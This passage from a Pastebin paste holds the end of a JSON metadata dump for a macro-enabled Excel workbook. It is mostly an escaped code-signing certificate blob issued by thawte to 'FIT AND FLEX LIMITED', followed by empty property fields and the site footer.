Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\xa0p0\\x14\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0c1\\x060\\x04\\xa0\\x02\\x80\\x000\\x19\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x031\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x040\\x1c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0b1\\x0e0\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x150\\x1f\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x041\\x12\\x04\\x10\\x0c\\x1aS\\x7f\\x11\\xde?y\\x8d\\xde2\\x05K7\\xeb\\x9c0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x04\\x82\\x01\\x00ge\\x16\\xe9,\\x83\\x88q\\x0b\\x93\\x863o\\x0f\\x9f\"\\xaf\\xb5\\xe9\\x89qQ\\xdc{\\x17J\\xf0.v\\xe7\\x19V\\x1f\\xb8\\xb5*\\xd8\\xa85C\\xa5w\\xd5\\x0733\\xf0p\\x1d\\xd9Fu\\xa9bt\\xc8\\x87\\xed\\xd8\\x11Q\\xde\\x96\\xf5H\\x04/zV_\\xf0\\xdc\\xd72\\x9b\\xbc0\\x1e\\x1c=\\x9e\\x88y\\xeeY\\xdd\\x18d\\xfbchl\\x0fG\\x0b\\xa2\\xd2\\xd3\\xc4S\\xb5F\\x07\\xa7\\xec\\xd7\\x8efz\\xf6\\xd5\\xf9\\x83\\xff\\x91\\x8d\\x8d\\xd8A\\xbc\\xb6\\xcb\\xfa\\xa1\\x84u\\xbe\\xf4@\\xa5 h\\x99K!\\x89\\x80\\xa5J\\xfb\\xcc\\xb6\\xe7\\x0e\\x93\\xb97tv\\xf7\\xf2\\x83gN\\xf3\\xda\\x8f\\xc1iY\\x1a\\x7f\r\\xb4\\xbb?\\x1b5\\xcb\\xe4\\xa0\\xd5\\x91cH\\x03\\xb6\\xcc\\xd7\\x99P\\x14(#8\\x0fc\\xf4f\\x92]+\\xea\\xd1\\xeca\\xe5\\xe9\\x9d<m+O\\xe4\\xef\\x9e\\xc87\\xda\\xd8L.\\xb3Z\\x84\\x16\\x9d\\xafgB\\xa0\\x8cF\\x11\\xc5\\xff,8\\xdb\\xefv\\xbb\\x0e\\xc5\\x04\\x9a\\xd1%0i\\x7f\\x8f\\x89\\xe7\\xbe\\xdc3\\x02\\xc8W\\xb5\\xc7\\xf6C7\\xa4\\x00\\x00\\x00\\x00CERTK\\x00\\x00\\x00\\x01\\x00\\x00\\x00D\\x00\\x00\\x008\\x00E\\x00B\\x003\\x005\\x003\\x007\\x006\\x007\\x004\\x004\\x00F\\x003\\x009\\x002\\x003\\x009\\x006\\x003\\x000\\x007\\x004\\x006\\x000\\x00D\\x005\\x004\\x006\\x002\\x002\\x002\\x00D\\x00_\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xaf\\xa1\\xd2\\x96\\xec\\x07>\\xe6\\xbfK\\xf5r\\x07z\\xdf\\xbd\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00F\\xd8\\xd2\\x8ff1\\x1ctq\\xb8U\\xb0q\\x1e\\xf9\\xe4\\xb4\\xa6B\\xc9x\\xfd\\x91\\x06\\xa6\\x0b\\xc3\\x04\\xaf\\xc5B\r\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xcc\\x00\\x00\\x00\\x1c\\x00\\x00\\x00l\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00 \\x00E\\x00n\\x00h\\x00a\\x00n\\x00c\\x00e\\x00d\\x00 \\x00C\\x00r\\x00y\\x00p\\x00t\\x00o\\x00g\\x00r\\x00a\\x00p\\x00h\\x00i\\x00c\\x00 \\x00P\\x00r\\x00o\\x00v\\x00i\\x00d\\x00e\\x00r\\x00 \\x00v\\x001\\x00.\\x000\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00P\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xda\\xb0\\xc4\\xe8\\xe9(\\xfbc\\xed\\x9b\\x89\\xdc\\xd3Yr\\x06\\x03\\xfeF\\x14\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00g\\xd9\\xa4\\xfb\\x8d\\x8ai\\xe2p9\\x9f0\\xae\\xaa\\xb8y\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xce\\xd1\\xc3\\x1b\\xb1\\xb5\\xc6\\x05\\x7f\\x0b\\x94]i\\x07\\xaf_ \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb3\\x04\\x00\\x000\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
  2580. "content_type": "None",
  2581. "heading_pairs": "None",
  2582. "slides": "None",
  2583. "links_dirty": "False",
  2584. "language": "None",
  2585. "notes": "None",
  2586. "bytes": "None",
  2587. "manager": "None",
  2588. "content_status": "None",
  2589. "doc_version": "None",
  2590. "titles_of_parts": "None",
  2591. "lines": "None"
  2592. },
  2593. "HasMacros": "Yes",
  2594. "DocumentType": "Excel Workbook"
  2595. }
  2596. }
  2597. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!